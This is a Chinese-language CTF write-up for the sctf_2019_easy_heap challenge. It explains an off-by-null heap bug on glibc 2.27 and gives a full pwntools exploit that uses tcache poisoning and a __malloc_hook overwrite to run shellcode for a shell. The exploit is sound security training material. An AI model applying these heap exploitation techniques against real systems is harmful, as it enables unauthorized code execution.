sctf_2019_easy_heap(off-by-null在2.27的利用)


题目的例行检查我就不放了

将程序放入ida中

 漏洞也较为明显

 可以看到 if这里多一个null ,明显的off by null 漏洞

 程序在最开始的地方给了我们一个很大的空间,并且权限是rwx,所以我们可以第一时间想到往这里填shellcode然后讲malloc_hook的值修改为mmap的地址

这道题还是看了一下网上师傅们的wp(没忍住。我的错)

首先我们第一次往mmap的地方填入shellcode的时候

tcachebins 形成了这样的结构

我们可以通过修改这个chunk的fd打到任意地址写的能力(下面的double free是往malloc_hook写mmap地址的时候用)

所以这道题的思路就是:首先我们先申请四个chunk

 我们将chunk0释放掉,这样里面就有了main_arena+96的地址,然后我们通过修改chunk1的内容,将chunk2实现了向上合并,我们再将chunk0,chunk1申请回来

这样就形成了这样的结构

 然后我通过释放掉chunk 3 chunk 1 chunk 2 从而获得了tcachebins的那种结构,然后我们在申请 chunk1回来,就可以修改mmap的内容了

完整exp如下

from pwn import *
context(arch='amd64',os='linux')
p = process('./sctf_2019_easy_heap')
#p = remote('node4.buuoj.cn','25848')
elf = ELF('./sctf_2019_easy_heap')
libc = ELF('libc-2.27.so')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(size):
    p.sendlineafter('>> ','1')
    p.sendlineafter('Size: ',str(size))

def edit(index,content):
    p.sendlineafter('>> ','3')
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)

def free(index):
    p.sendlineafter('>> ','2')
    p.sendlineafter('Index: ',str(index))

launch_gdb()
p.recvuntil('Mmap: 0x')
mmap = int(p.recv(10),16)
print('mmap-->'+hex(mmap))

add(0x410)
add(0x58)
add(0x500-0x10)
add(0x58)

free(0)
edit(1,b'a'*0x50+p64(0x420+0x60))
free(2)
add(0x410)
add(0x58)

free(3)

free(1)

free(2)

add(0x58)
edit(1,p64(mmap)+b'\n')
shellcode = asm(shellcraft.sh())
add(0x58)
add(0x58)
edit(3,shellcode+b'\n')

add(0x500-0x10)
free(0)
edit(1,b'a'*0x50+p64(0x60+0x420))
free(1)
free(4)

add(0x410)

edit(2,p8(0x30)+b'\n')
add(0x58)
add(0x58)
edit(4,p64(mmap)+b'\n')
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(0x1))


p.interactive()

相关